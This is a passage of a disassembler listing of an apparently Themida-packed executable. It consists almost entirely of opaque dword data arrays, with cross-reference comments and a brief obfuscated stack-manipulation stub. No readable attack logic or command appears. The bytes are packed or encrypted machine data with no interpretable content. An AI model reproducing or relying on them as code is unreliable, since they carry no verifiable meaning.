		dd 0AFDB375Fh, 642D3D49h, 0D24ABA0Eh, 8F27AA83h, 0C2000001h
		dd 50ED4F6Fh, 0A8753FC1h, 0AD0A8B06h, 781EE170h, 6CF4710Ch
		dd 0CE88918h, 0B39E1F1Eh, 122FC872h, 68FC07h, 0E888D1h
		dd 0E3910C6Fh, 0A3620D86h, 0D2E58DFBh, 3E8A272Dh, 0A061A189h
		dd 46419F6h, 0CFC91329h, 98F76CDFh, 0E893E189h,	649445ABh
		dd 4B328BA2h, 0BC22BDCAh, 8E32CC23h, 57AEB9E2h,	0CA5B36AFh
		dd 9968C720h, 0D4F383F1h, 0BCB429EBh, 59B0BC64h, 0B74920C6h
		dd 64236311h, 1257FE0Eh, 9139C838h, 5E081970h, 0FE26B912h
		dd 191E6B6Ah, 1776C5F9h, 611C680Ah, 0C63759E2h,	60F9191Eh
		dd 2BFFC1Dh, 191EEFEEh,	71F249F9h, 17651116h, 842AF564h
		dd 6BF87DF8h, 0C141D054h, 1E4C8D17h, 93EAF919h,	6C41A714h
		dd 2AF9191Fh, 0CA5BB653h, 7AC4CA3Dh, 6706435Bh,	0F7DF89Ah
		dd 0F131899Eh, 83BCC847h, 0E120E04Ah, 8C958439h, 0C63759E2h
		dd 60F9190Ah, 0E847981Dh, 88037119h, 66AD337h, 0F9190B2Fh
		dd 9AF51269h, 0E695E38Bh, 0A9647A9h, 4D30F919h,	0C264B9C8h
		dd 7014EE79h, 80EC6904h, 2450F609h, 0CAB658A5h,	0BECEA4EDh
		dd 0AB573374h, 2A57B05Ah, 0A5A9BEDh, 89F4F919h,	16A47D0Ch
		dd 9CE8670Fh, 1C74B00Fh, 0F9190ADDh, 3885007Bh,	0A6495FBh
		dd 7BC2F919h, 0BE2BBDFAh, 0D8F9190Ah, 9213B549h, 0E4889AC5h
		dd 4CE3C098h, 4E7BA193h, 0AAE754D3h, 19449746h,	0C94A31F9h
		dd 0A244D930h, 46A75D6h, 44B051B7h, 4F2EF919h, 946D57B2h
		dd 1EA00DEAh, 3FEF01BAh, 0B70CE8A4h, 1BE877C4h,	0DE49F66Fh
		dd 888CBE43h, 30449536h, 28F554B5h, 4D91FA86h, 0B42B3D5h
		dd 0A19C00E8h, 7779922h, 0BF0AFA2Fh, 0C0464ED0h, 8E0D6814h
		dd 251587E2h, 0A794DF4Bh, 4897C441h, 259615B5h,	313A8FCBh
		dd 20A57808h, 0B1C1345Ch, 87570ADEh, 0D0709825h, 8E00CC4Eh
		dd 52F20EAFh, 533D1C97h, 0B8115BD8h, 3216C169h,	436ACA5Eh
		dd 4E93907h, 0A0640000h, 67B817F0h, 3BCB26C3h, 5197091h
		dd 0DC2B8663h, 98AAD12Eh, 59B664A3h, 69862EF6h,	0BE5BFB06h
		dd 0CF28D253h, 46B7D956h, 0E000E3F1h, 4F6F9FC2h, 3EC150EDh
		dd 8A09A974h, 844AC09h,	0EE0CE873h, 70FC9E63h, 582370F5h
		dd 0A290442Ch, 4BE000E8h, 0D19F43DCh, 0FC561F94h, 0E5A724A4h
		dd 0D245D6h, 94EC0000h,	6FA8391h, 7A8BD249h, 7DA37D0h
		dd 828E4FA1h, 48EB06FAh, 1685E8ACh, 79106B30h, 3A83FEA8h
		dd 0EC9092FDh, 92DE809Dh, 0F3CA5ED7h, 0BD06FA18h, 0C4434FD2h
		dd 900F6A16h, 4F0C89E4h, 1E3FBED2h, 0A29906FAh,	0C6225927h
		dd 31B755Bh, 4423A0F7h,	48A815BDh, 63F1C77h, 0B029B3C4h
		dd 0F05C5075h, 1C718A0Bh, 0CB6DB1C5h, 0F845C0BDh, 0FAB69990h
		dd 0F884F706h, 9E69091h, 20D13774h, 8C06FAB7h, 0C0BDCB77h
		dd 4623A09Bh, 1ADB2D7Bh, 8606FAB7h, 8683D87Ch, 0FAB77362h
		dd 0F36ECD06h, 0D4A1C774h, 0B206FAB6h, 20D5BDCBh, 1A06FA77h
		dd 0CC5B79D1h, 82FF8D35h, 0F55D6401h, 0F9ED0B48h, 623A8B25h
		dd 1FFA6EE7h, 7906FAAEh, 0C835E502h, 0DC000000h, 50ED4F6Fh
		dd 0E89DE838h, 977C60Ch, 3FD88080h, 62101702h, 0D43C84E1h
		dd 0A62C0167h, 4D8A00E8h, 0E8A7BA3Bh, 0AC291400h, 90E08CEFh
		dd 0B2AFF6CAh, 0F78531F6h, 99E78F96h, 0DAF258EBh, 0BA4BD657h
		dd 0E7A26FCh, 0D388F473h, 0E8A73CBDh, 24A39A00h, 348CE6AFh
		dd 0D6E5A2B4h, 6AD5h, 0D0BF7C00h, 9EDBA951h, 10784825h
		dd 0BD65BCABh, 6495FB38h, 2206FA82h, 0DACB49C6h, 0FA5047B6h
		dd 29AE106h, 0B83D2F8Eh, 75D4A09Bh, 58B805ABh, 4E03BE83h
		dd 916AEB0Ch, 0FF3CA43Ch, 0FA933C69h, 0B5C3BA06h, 0FA5328ADh
		dd 71D91206h, 0D62B2DB3h, 0EC04B934h, 6FAD3B9h,	0E4B070DFh
		dd 6D08741Ch, 0F70B82EEh, 5DD655h, 6D45DC3Dh, 0F9EEA94h
		dd 0DF1E72F6h, 7906FA82h, 56A8702h, 0A9E657B9h,	0FA829647h
		dd 0C84D3006h, 84E1056Bh, 76C50CE8h, 8C7F7A0Ah,	0AE0F00E8h
		dd 38BD5FA3h, 0F835230Fh, 0E88C6190h, 8E90FF00h, 64E39EEAh
		dd 89B828EFh, 3AD1D6E5h, 70000000h, 50ED4F6Fh, 59F90413h
		dd 0A59874DCh, 0F35E0CE8h, 4A178C2Eh, 0F8FD85F3h, 8800E8AFh
		dd 95176BC7h, 0FAD6E5A6h, 0D5h,	71D82B45h, 0ACB91198h
		dd 29FE992Ch, 7AFB325Eh, 6946DE7h, 0BD2C58FCh, 0B5B0BC62h
		dd 8ECDBB36h, 0ACD88283h, 313FE13Dh, 2D3CB934h,	0CD5C28D6h
		dd 6FFE8A34h, 57030096h, 41465129h, 14B569FEh, 6BFD1A99h
		dd 6FA00CEh, 86630B1Ah,	8B30DA2Bh, 59DA869Ch, 28F96813h
		dd 9DEB9392h, 83E065E0h, 0C64D93Bh, 0CE813CCh, 99F6136Ah
		dd 365AE345h, 0AF5A792h, 97D469D4h, 0DDE78071h,	0E65FDE0Ah
		dd 8D39CE59h, 66061D6Ch, 0DDE7D302h, 930E6D0Ah,	0BB2B5A40h
		dd 614F3B64h, 1DBh, 0E1FEAE7Ah,	30D1758Eh, 429F49D9h, 907113EFh
		dd 0A33CEA39h, 72B1A698h, 3CC42BC4h, 9147B94h, 0E0218869h
		dd 0CB40D936h, 0E3F434A5h, 6DF49200h, 0FE8966Dh, 58B961A0h
		dd 0F04F6FF9h, 662F4E97h, 279413ABh, 0E8170DC1h, 0A77EE90Ch
		dd 62D986FFh, 628B4E16h, 0B6FB00E8h, 562FEDCh, 0A26ADA3h
		dd 2D9F52D3h, 42D6E584h, 0D9h, 0EA946DE7h, 0FDFC1451h
		dd 5B06FA82h, 0AC8578E0h, 9D3A002Dh, 2EF55418h,	0D32C3B80h
		dd 0AF24412Fh, 0F619EDDh, 6FAC3CEh, 8901568h
dword_5BFD88	dd 6FA3F6Dh, 0E1FEA879h, 0A1CF778Eh, 8B30942Ah,	0FEFF114Eh
					; DATA XREF: Themida_:0055FDAEo
		dd 5806FAC4h, 0F8F860E5h, 560CE8D6h, 19A50AE7h,	45E206B7h
		dd 5F0AF55Eh, 33F05FDCh, 0BBD56A87h, 1140A5Ch, 48279C8Ah
		dd 9620E3BBh, 1F6DE88Ch, 0C43CE762h, 7564BB9Bh,	0F12FF9h
		dd 986C0000h, 5FA00FE8h, 33F35EBBh, 0FD016889h,	0D453BE5Bh
		dd 90B2C926h, 51AE5CABh, 617E26FEh, 0B653F30Eh,	0C720CA5Bh
		dd 4E8FE15Eh, 0E800E3F5h, 966D97CAh, 5748FD04h,	0D31D1FA4h
		dd 34313FBAh, 0E62358B9h, 0FA1E5382h, 158EED06h, 5E1EAB7Ah
		dd 0C23EE05Bh, 0DC8082EDh, 0B956D590h, 53D0BF5Eh, 0C2432EA7h
		dd 24FD6C18h, 80E09D7Ah, 0B49015DEh, 0B5D25397h, 1276C729h
		dd 0CE30560h, 46F583FAh, 259E4CDBh, 0AA13BB4Ah,	0A9C062BFh
		dd 0A9C4B056h, 0A3AED32Ch, 0B5B0BC5Eh, 26D05130h, 0C78B0A5Ah
		dd 9A2FE308h, 9B170B0h,	3BC453E8h, 178CE997h, 7301A978h
		dd 0AE01A8C8h, 4DD4A081h, 0C365B9C8h, 845FAB5h,	13610719h
		dd 0D90FCE56h, 0ECA932BEh, 0BED95584h, 0D88F332h, 78FDA162h
		dd 5EA763CFh, 71807B4h,	0A609E263h, 0FFC9B75Fh,	3, 6DF9989Ah
		dd 329BE997h, 0AC3D4BF3h, 4AC3B151h, 0E76612BAh, 87067220h
		dd 27A6D280h, 0C24B39DBh, 7DEC9844h, 2D70FCA2h,	51E08950h
		dd 0A6678EB9h, 0EAE18122h, 811DAE0Fh, 7F61ECE1h, 3E1C14Dh
		dd 510DC981h, 0E9814DEAh, 4DFA5D49h, 8359C801h,	48704E8h
		dd 54685C24h, 8900004Ah, 8953242Ch, 4C381E3h, 83000000h
		dd 1C8704EBh, 14895C24h, 0DDB85024h, 8906196Bh,	24048BC5h
		dd 6804C483h, 4507h, 81242489h,	42404h,	555A0000h, 0FF08428Fh
		dd 835A2434h, 2C8B04C4h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55074C
; ---------------------------------------------------------------------------
		dw 7499h
		dd 17B835F0h, 3061978h,	0D6E0FFC5h, 0A279EAC1h,	0EA6E5C59h
		dd 0E2465235h, 0DD5B3455h, 0D1063442h, 0BE268361h, 802542B2h
		dd 0A3383533h, 0E847441Ah, 0Dh,	0C6D21F5Ch, 1A81BEE0h
		dd 490E743Fh, 0FE97Ch, 577B0000h, 7898F354h, 9539518h
		dd 1A097F96h, 0EB805F37h, 0F7C781C7h, 66000063h, 0BA071BBBh
		dd 47B64015h, 0D8AEC281h, 0E960B849h, 0Fh, 6BAA491h, 0B4899F42h
		dd 0E15118h, 0F06665Dh,	0FF61D0BFh, 5893B337h, 0C0815B57h
		dd 6A01D3D1h, 5778B966h, 0C8C4C081h, 816671E4h,	8100C1DBh
		dd 3D8C89C0h
dword_5C0024	dd 0F78B664Ch, 60078F50h, 8A080BFh, 6E921h, 0FE1C0000h
					; DATA XREF: ___:004327ECo
		dd 1B8BEC9Ch, 87EF8161h, 0F275FB4h, 287h, 81F88A00h, 5FB483C7h
		dd 6E827h, 8B050000h, 0F0065832h
dword_5C005C	dd 10E9h, 9AFB9100h, 921F1C00h,	3AE0E2FFh, 4777191Ch, 0EA815B16h
					; DATA XREF: ___:off_432940o
		dd 1, 14850Fh, 1CE90000h, 8A000000h, 8D56DCCFh,	0B8E9A4BEh
		dd 8E7049AAh, 0E9F5F643h, 0FFFFFF6Bh, 0DBB575F6h, 0E8FB96EDh
		dd 0Eh,	90A4B758h, 9883402Fh, 0EF3AA5E8h, 0E480C090h, 0B70F5F13h
		dd 9DC781C7h, 8B000073h, 1CC9BEDAh, 0E9800000h,	0B7178B61h
		dd 86C281EBh, 0E95B2F63h, 11h, 0F281C1Bh, 57830D44h, 38CECF0Ch
		dd 67E4B3E7h, 8AEA818Eh, 66334A81h, 81454EB9h, 454C3C2h
		dd 894EB444h, 0EE96017h, 2A000000h, 0BA562351h,	109C62E0h
		dd 8DA20BA4h, 0EF8361D2h, 0F4EF904h, 0FFFFAC85h, 21B866FFh
		dd 0ECE956h, 0
		dd 0AC370000h, 5CEB77E7h, 3C4977E7h, 0E21F77E7h, 0E30077F7h
		dd 77F7h, 277E6h, 5 dup(0)
		dd 0A5FD0000h, 77E7h, 2Bh dup(0)
		dd 60000h, 0ED140000h, 0A2A11611h, 6602DB11h, 3C7B3215h
		dd 31D909E5h, 7B1D8BA3h, 241FEDB7h, 0A1D51C2h, 17F9B135h
		dd 6624201Bh, 0DB923B60h, 609A1F7Ch, 365D4615h,	0DEE2B946h
		dd 66113604h, 527DB79Ch, 0FBC93407h, 60369DFFh,	3E4AE1EAh
		dd 4BE18F96h, 12443407h, 0DE716202h, 66113604h,	527DB79Ch
		dd 0FBC93407h, 60369ECCh, 3E4AE1EAh, 0E7EE52ECh, 0D2CD8CC3h
		dd 76CB5366h, 94113215h, 0BAE277DBh, 0CF848136h, 61209DDEh
		dd 369FECC7h, 9CAC0694h, 3E4ECC3Ch, 2C4A8847h, 0B4E6315Fh
		dd 8C09E8E2h, 4C211474h, 31FDD894h, 94903715h, 0BF92D7C6h
		dd 8F1EE224h, 6622321Ch, 9C6CAACBh, 9AD09A48h, 0FF9B1C8h
		dd 66242B6Fh, 6666B61Ah, 8EE83215h, 66443218h, 0E6895A12h
		dd 3E8A1003h, 4010D36Ch, 0F78B8919h, 35794FD4h,	6611BE1Ah
		dd 7D23215h, 20CEB798h,	74CB340Ch, 34113215h, 0FFCED83Bh
		dd 7D53324Eh, 4212C2DCh, 0F4C584EDh, 6958CDC3h,	66443399h
		dd 0E3AFCA15h, 600874AFh, 668823FCh, 271E7815h,	28979460h
		dd 0D840CDC2h, 0FAEB6215h, 0B6BB5516h, 66223EFCh, 776C0B15h
		dd 0F634FC9Eh, 0D988B662h, 3FA7F451h, 30172017h, 668823FCh
		dd 0AE302315h, 5FFC6560h, 5F133B3h, 2209B2F9h, 342C639Ah
		dd 69BE9AADh, 66113D93h, 6682DB15h, 179D3215h, 0F7B54D51h
		dd 7F72893Ah, 6683B61Ah, 0E6243215h, 0A7A391F0h, 46460B3h
		dd 0F3DCD74h, 642203Bh,	64268873h, 0EB7000A1h, 73099690h
		dd 0E44B5213h, 66223211h, 42928B73h, 9E58CD74h,	4785B79Ch
		dd 6DB3407h, 661BB51Ah,	63613215h, 0DD443215h, 0C890B187h
		dd 661134FCh, 0A4E8F115h, 7F11CA2h, 549FB7D2h, 66113407h
		dd 6E613215h, 0C1443215h, 0C058B75Ah, 0A09313D9h, 748A6B90h
		dd 0EBC7713h, 0E8505B7Ch, 66113DFCh, 56293A15h,	3719BF9Ah
		dd 497AB319h, 7E531B6Dh, 66883BFCh, 516F7915h, 714AB1C5h
		dd 0D3EEA6A6h, 609A1C0Ch, 664435FCh, 24664C15h,	0C4CAE6F0h
		dd 5DDEB798h, 69243407h, 66222192h, 661FDB15h, 0BAA43215h
		dd 5E4C09C8h, 533FCA04h, 155969B4h, 668821FCh, 0C3F57315h
		dd 0AC0E12Ch, 0BAF391D2h, 458DDB2Eh, 0E058CBFFh, 6F2CD74h
		dd 754D194h, 940315E7h,	9BC1BB74h, 69242007h, 66112390h
		dd 6684DB15h, 7A5A3215h, 6E64C9C8h, 742A7DC8h, 0E34E2CC1h
		dd 6056304Ch, 7CA83D56h, 6113215h, 76606843h, 88443215h
		dd 8245181Ah, 0F431B60Eh, 0A845659Fh, 3D19C39Bh, 0D7C5A74h
		dd 0E31EAE72h, 6688320Ah, 665DB31Ah, 72CB3215h,	0DC113215h
		dd 282F3EDAh, 0AAF02FE4h, 0E2E9E25Ah, 0DF39E4C5h, 99BC433Ch
		dd 746A2BA0h, 0E3AFCE13h, 60030943h, 9B49B375h,	30CE34h
		dd 9943E89Eh, 0E398C7C5h, 60914844h, 664422FCh,	5B9D8915h
		dd 0C4BA80BBh, 547B3478h, 0BFE5F1E5h, 3FA7F440h, 32172017h
		dd 0EA15AE0h, 99B1DC77h, 740C2BA0h, 6619DB13h, 0A5973215h
		dd 6344CB13h, 0E3AF4FD1h, 60030943h, 6680BA1Ah,	0EE4B3215h
		dd 66223217h, 0B6EE5375h, 668DB21Ah, 9E243215h,	0EF43F49Eh
		dd 7F6B6790h, 0E34ECB13h, 6056304Ch, 0A44ACA50h, 8FCB522Dh
		dd 66883206h, 0CF95DCE0h, 0D983C33Fh, 0B5C06A16h, 71FBDCFh
		dd 6A45029h, 99D5442h, 7BAA6B66h, 7EC6784h, 485D87EAh
		dd 8F423407h, 6611321Ch, 7190781Fh, 62D38E36h, 662DDB27h
		dd 99183215h, 5E92C286h, 48666986h, 0E280D2EFh,	0E39C539Ch
		dd 609A0943h, 6656B61Ah, 6BCB3215h, 4F113215h, 0C300F767h
		dd 0F3D4388Fh, 0D10B450Eh, 3071E2EAh, 6688B91Ah, 0ED1D3215h
		dd 0E3AB53CFh, 6008484Ch, 668826FCh, 5E515C15h,	17C68781h
		dd 8F4E237Ch, 0DDD9A0C4h, 7FB54028h, 8F9FB1E7h,	6617200Ah
		dd 678BB71Ah, 243215h, 9324F894h, 6609B01Ah, 75613215h
		dd 0E0443215h, 32B92C99h, 2180CD02h, 6AA2A095h,	12E240A5h
		dd 0A043D4B2h, 74136B90h, 8FE87713h, 66443219h,	3DA511C5h
		dd 8BDFD8F3h, 0AE5571DEh, 7B6851Ah, 465CB47Dh, 0D971CAEFh
		dd 2D23D5E2h, 7FF1CD74h, 8F24203Bh, 6611321Ch, 0CBF65FBFh
		dd 8A9AB2B6h, 30A7BF78h, 9E17202Eh, 0EC87E2EAh,	6644320Bh
		dd 663ABC1Ah, 75F83215h, 20883215h, 2A4B9200h, 0FDC1159Bh
		dd 123FA6EEh, 4FE067BAh, 0E3CD52C7h, 603B4848h,	66113FFCh
		dd 0E2FDBD15h, 0A1EC405Fh, 0DBB8447Ah, 0E3D77578h, 609A304Ch
		dd 0A52CCB59h, 9FC214C5h, 6616BC1Ah, 0EF873215h, 66443214h
		dd 7F97CDE9h, 9F17203Bh, 5DDEB798h, 0D7243407h,	0ED4464EAh
		dd 9E7069D4h, 0EF71E2EAh, 7F3E5390h, 6624DB13h,	86A83215h
		dd 0BB8F617Eh, 6644CDFCh, 0E32D5215h, 66113210h, 6FC353AAh
		dd 4AB0B269h, 3FA7F474h, 34172017h, 6689B21Ah, 0EBC3215h
		dd 0DA68D618h, 0FA4CDECh, 68E2031h, 664DDB46h, 90C63215h
		dd 3A243412h, 3CF8E85Fh, 30C1BF74h, 8F24202Eh, 6611321Ah
		dd 42BF1D08h, 0DDFD1834h, 0BC641F10h, 9971B391h, 0B90352C5h
		dd 0E3CD53E9h, 603B4848h, 0B19A5475h, 476C8B73h, 3FC1F474h
		dd 34242017h, 6610B21Ah, 6713215h, 6646BF1Ah, 7423215h
		dd 7D6C295h, 2AC27A7Dh,	6CC33DB3h, 8F223215h, 66113210h
		dd 808C39E3h, 0FF1CD18h, 8F242031h, 6611321Bh, 0F372B7DAh
		dd 0D02D8E28h, 848C9F5Eh, 0EA1E196Ch, 6688321Dh, 94F33D75h
		dd 701C395h, 5D47B798h,	997D3407h, 81C552C5h, 44628A32h
		dd 66113BFCh, 0C1BF1A15h, 90A2FE6h, 0EF4328E2h,	7F6B5390h
		dd 6680DB13h, 70B63215h, 2E10A979h, 6714435h, 0E651B973h
		dd 725F7E5h, 647BB7D3h,	8F433407h, 66883212h, 0FFF0AAFAh
		dd 0EBD9E1Ch, 9B5386FFh, 0F578B375h, 2F9947h, 7CA34AEh
		dd 480887EAh, 6A613407h, 4D443215h, 1472BB76h, 0F36BF813h
		dd 0EB477CA8h, 747F6490h, 70A83D13h, 69113215h,	6688229Bh
		dd 664FDB15h, 43A93215h, 5F626B5Ch, 0F3A19734h,	9F94CD7Fh
		dd 565FB79Ch, 0EC713407h, 1079B3ECh, 71F7A7Dh, 647BB7D3h
		dd 6663407h, 668821FCh,	62817415h, 9E7363FDh, 0AF16CDC8h
		dd 4514B131h, 0C4168BE6h, 9E43F39Fh, 0F1B9917Dh, 6699DBE6h
		dd 0A93B3215h, 807D5AEEh, 0DDE9FDF3h, 65F3D49Fh, 997EE8A1h
		dd 74313BA0h, 74983D13h, 8F883215h, 66443218h, 962B278Ch
		dd 229EC3E5h, 0FF748698h, 664ADB54h, 7083215h, 7C8BA7CCh
		dd 818012CFh, 3A1A3CD6h, 5D74B798h, 6DF83407h, 39883215h
		dd 0E29B8AB1h, 30758F61h, 0B6EE3B73h, 6699B81Ah, 6AAD3215h
		dd 7223215h, 7D6A2CF9h,	0ACEBE4F8h, 0EF5B08A0h,	7438FB90h
		dd 6FF95213h, 0FC883215h, 17B7E926h, 0C9466F4Bh, 9A02F994h
		dd 0D341ABh, 0A025C29Eh, 74206B90h, 0EE86013h, 0EC550302h
		dd 7FF1CDECh, 624203Bh,	661121FCh, 0F481D515h, 0AE4ED02Ch
		dd 0E30BC72Eh, 6759DB41h, 98997427h, 30C1BF74h,	9A24202Eh
		dd 6971E2EAh, 66883294h, 72AD6015h, 1D223215h, 807A572Fh
		dd 59BA22AFh, 2B151E09h, 0B6C3B372h, 3D6CBA98h,	2F0DBB74h
		dd 69422034h, 66223E92h, 60923D15h, 69883215h, 6644329Eh
		dd 3FA7F415h, 30172017h, 3959B375h, 14ED7Bh, 0E43C89Eh
		dd 0B20E5F2Ch, 0F3DCDECh, 9E42203Bh, 0E786B798h, 713400h
		dd 0EDEEEC9Eh, 0B6BB53C2h, 662223FCh, 0C2FEFC15h, 0A498D89Dh
		dd 9F79F292h, 0ABCF82D8h, 0E3985EC9h, 609A3184h, 664421FCh
		dd 0F875315h, 966D6418h
		dd 0DD77138h, 0BCA65B25h, 8F94B50Dh, 6448B7D3h,	69CF3407h
		dd 66442A99h, 6631DB15h, 0DCCE3215h, 0CE51F83Ah, 67DB2E1h
		dd 422FC5CDh, 97B099D2h, 67033DFBh, 9E443215h, 0BA32487Dh
		dd 6E9C3D94h, 69883215h, 66443097h, 99435215h, 743F2BA0h
		dd 0E305C713h, 60560943h, 0BCA95475h, 6614B21Ah, 0B6363215h
		dd 711B696h, 69CBE2EAh,	55113215h, 6CE911Eh, 70DB1B7Ah
		dd 0B3358862h, 0E3983A64h, 609A2E9Ch, 66443BFCh, 0E2BBAB15h
		dd 40B0546Bh, 0E34E0F5Eh, 6056304Ch, 8FD75252h,	66113219h
		dd 0F018C725h, 5A1D0A15h, 65AC022Fh, 0D3F35A74h, 6E8B81Ah
		dd 44E995h, 0F8EEDA94h,	6602DB74h, 78F03215h, 0DD8306FAh
		dd 0BC218Eh, 0A0BFFB54h, 0F5348DA1h, 0D3BB53EAh, 60301C0Ch
		dd 0BD905475h, 77DB4A5h, 5D12B798h, 0DF423407h,	70C6AE42h
		dd 9A58CD74h, 1CC5B79Ch, 0E82D340Ch, 66113212h,	69E95275h
		dd 6925EBA2h, 66223A96h, 0E61E5215h, 66883215h,	0D3C1F574h
		dd 1E242020h, 8F113215h, 66883205h, 80AA8F4h, 3841B833h
		dd 0D9BA078Ah, 2E995A38h, 47218F96h, 69223407h,	66080491h
		dd 0E34ECA15h, 6056304Ch, 6636DB59h, 0E4093215h, 0A0C5444Dh
		dd 0BF6E73BCh, 4DD412DDh, 9F478265h, 8FE08525h,	939DE809h
		dd 483B87EAh, 0E81E3407h, 6688321Bh, 66443BFCh,	0A3A58F15h
		dd 413AE9DEh, 0E3057BA3h, 60560943h, 0ADA86475h, 0B6EE534Fh
		dd 0A7035475h, 7B3B973h, 1C4FB79Ch, 77F8340Ch, 65883215h
		dd 0D7DDBE42h, 6D236178h, 9BE31A9Ch, 0E2B33BFBh, 641DB7D3h
		dd 696E3407h, 66112490h, 6699DB15h, 913E3215h, 5FD7F92Ah
		dd 7927C016h, 4C1CA519h, 8FCA99ABh, 66223201h, 60B967h
		dd 0BAB7C077h, 0F07C9573h, 7019A10Dh, 0CAB5E16Eh, 1256FC7Dh
		dd 99B1C7C8h, 740C2BA0h, 6601DB13h, 0B28B3215h,	0E9A9385Ch
		dd 0C96EEC75h, 14393BE8h, 0E305F7DBh, 60560943h, 662CBA1Ah
		dd 8F713215h, 66883213h, 0C2B9F252h, 7DE74B3h, 0EFEDE2EAh
		dd 7FF24390h, 664FDB13h, 73215h, 0F35048CBh, 0DA397447h
		dd 3FC1F408h, 2A242017h, 6619BD1Ah, 0EC873215h,	66443217h
		dd 594A5375h, 69A6B397h, 66883E96h, 60C13D15h, 69223215h
		dd 66113294h, 7F3DCD15h, 6942203Bh, 66223394h, 0EC71CA15h
		dd 0A00954EFh, 0EB256534h, 74196490h, 0B6EECA13h, 6689BC1Ah
		dd 0EFB83215h, 7F584790h, 949A5213h, 0E34E53EDh, 6056304Ch
		dd 67AE3D59h, 9E113215h, 49C82A7Dh, 72ADCAA6h, 0DD223215h
		dd 9C38C06h, 1B6BD1Eh, 1E44E42Dh, 21C4DCA5h, 99F1250Ah
		dd 74A62BA0h, 74C43D13h, 8F223215h, 66113218h, 0DE5BFDD2h
		dd 987E38F1h, 637F2B07h, 3094BF0Ah, 68E202Eh, 0B092F994h
		dd 0ED2D39F5h, 66113200h, 668822FCh, 0D1DAC015h, 3E7AF68Fh
		dd 0A5C23A99h, 3E7EEDCFh, 0B6BB531Fh, 6DA83D75h, 8F113215h
		dd 66883213h, 0FC6DD252h, 7DA6293h, 1C64B79Ch, 9E7D340Ch
		dd 641DB7D3h, 9F643407h, 661DB71Ah, 0ED873215h,	66443213h
		dd 6622BE1Ah, 72793215h, 632EC13h, 6646BD1Ah, 39703215h
		dd 6610B01Ah, 7703215h,	485D87EAh, 0EC2D3407h, 66113200h
		dd 668822FCh, 6FFA2A15h, 0F818987Eh, 262892DAh,	3198B7B8h
		dd 30C1BF06h, 8F24202Eh, 66113206h, 0E05E84FFh,	0F1859F91h
		dd 9BDBBFE6h, 0D9FF4976h, 99003023h, 0E3CDC7C5h, 603B4868h
		dd 6602BC1Ah, 68613215h, 66443215h, 0BE3D140h, 6C7E1976h
		dd 0E2628646h, 3FC1F404h, 21242017h, 661138FCh,	76809115h
		dd 477A145h, 0E382CE8h,	0E7CD226Fh, 668820FCh, 0F004CE15h
		dd 61CAD825h, 458E6E8Dh, 50FD6351h, 695DFAEDh, 66222A97h
		dd 749D3D15h, 8F883215h, 66443218h, 79326FE7h, 0E7C6C273h
		dd 2A82FCE4h, 7FF1CD2Eh, 9A24203Bh, 5D47B798h, 0D9E83407h
		dd 6BFAFF18h, 66223EFCh, 0C7D9A215h, 92A8A465h,	790DF18Dh
		dd 0B6DD532Ch, 66113BFCh, 80A62415h, 5E2D8412h,	0EF2D8A6Dh
		dd 66113214h, 0E30DBBECh, 6422B6Fh, 662239FCh, 9DBF5615h
		dd 0B48B6B2Ch, 0B3BD47F7h, 6621B21Ah, 8D913215h, 0E34E531Ah
		dd 6056304Ch, 6624DB52h, 388B3215h, 0D06CE6A5h,	0E1CA9E7Dh
		dd 76AB3DFAh, 8F113215h, 6688321Eh, 3795543Bh, 49FBD96Dh
		dd 992F1EA6h, 74A62BA0h, 6643DB13h, 0CEA43215h,	83CC7C8Eh
		dd 668FDBF0h, 0AFB53215h, 8D7BE36Bh, 3094BFBDh,	68E202Eh
		dd 0EC868D1Ah, 0B6DD53CBh, 0EF94BBEDh, 8F8E2B6Fh, 66443210h
		dd 79FE945Fh, 3F94F447h, 218E2017h, 664420FCh, 9E2EE015h
		dd 0BD0DAE5Bh, 249153FFh, 4215573Dh, 0EDC101Eh,	0B28B95C7h
		dd 668822FCh, 6A9E8C15h, 227CB455h, 0DC4532B7h,	0E56920C3h
		dd 7FF1CDDEh, 9A24203Bh, 5D47B798h, 37E83407h, 0E3598D73h
		dd 0AEF38B4Dh, 99706707h, 670E3DC5h, 9F443215h,	1CAFB79Ch
		dd 6BF8340Ch, 0B9883215h, 0E3A90AB1h, 45538C45h, 652A3C23h
		dd 64D1B7D3h, 6033407h,	0AD7F27AEh, 0E777525Dh,	78394DEh
		dd 5F405A74h, 69CB88D4h, 0DF113215h, 2C6B7AFEh,	3113F672h
		dd 73999B05h, 69713556h, 66883097h, 94B915h, 8214E894h
		dd 7FA4CD74h, 698E203Bh, 66443E91h, 60AD3D15h, 69113215h
		dd 66883298h, 0ED225215h, 0E3AF53EFh, 60030943h, 668839FCh
		dd 804C5B15h, 0F85E365Ch, 9CFA718Ch, 658CDE0h, 0E3CD53EDh
		dd 603B4884h, 3BACB1E9h, 668E2034h, 66D3B71Ah, 0A0D73215h
		dd 74136B90h, 69617513h, 0CB443215h, 0E9E97BB2h, 44E01FEBh
		dd 7CF6E289h, 7249013h,	140F557Dh, 6617DBF5h, 20C33215h
		dd 5D61DFCDh, 483B87EAh, 63F83407h, 5D883215h, 121AC4F8h
		dd 5D74B798h, 0E41E3407h, 66883219h, 664435FCh,	1CFB6E15h
		dd 4E0EC097h, 7261E2EAh, 0FC443215h, 36C7D9h, 0B3563EFAh
		dd 3289A074h, 58A13EE0h, 93290268h, 1C84B79Ch, 0EB87340Ch
		dd 6644320Ch, 662226FCh, 0BDE05615h, 4681D7FCh,	6A0B6AB4h
		dd 8983B332h, 792A584h,	3F0DF425h, 21422017h, 0BEA35475h
		dd 0E7010E7h, 0E8A181A4h, 664CB91Ah, 423215h, 0AC91C39Eh
		dd 0D37753B3h, 60561C0Ch, 662222FCh, 55B86A15h,	0B716F685h
		dd 5E074A6Ch, 0C4090A97h, 661FDBF8h, 0A5AE3215h, 0A736DFEAh
		dd 735C17FBh, 0DF09BEDDh, 5DDEB798h, 0EA4B3407h, 6622321Dh
		dd 6613B31Ah, 7E83215h,	6EADE2EAh, 81223215h, 0BBFD5CA1h
		dd 6973971Eh, 66443F99h, 249C5215h, 6934B6F6h, 66883291h
		dd 0E3CD5315h, 603B488Ch, 66113DFCh, 43F3C215h,	0A54466Ch
		dd 0BD2D37D8h, 0FCCD814Ah, 64D1B7D3h, 69073407h, 66222E99h
		dd 0BF9A5215h, 668820FDh, 0DD3EEA15h, 45204119h, 9187C32Ch
		dd 0E86EC51Eh, 39EF084Ch, 2C855A74h, 99E8F263h,	74A62BA0h
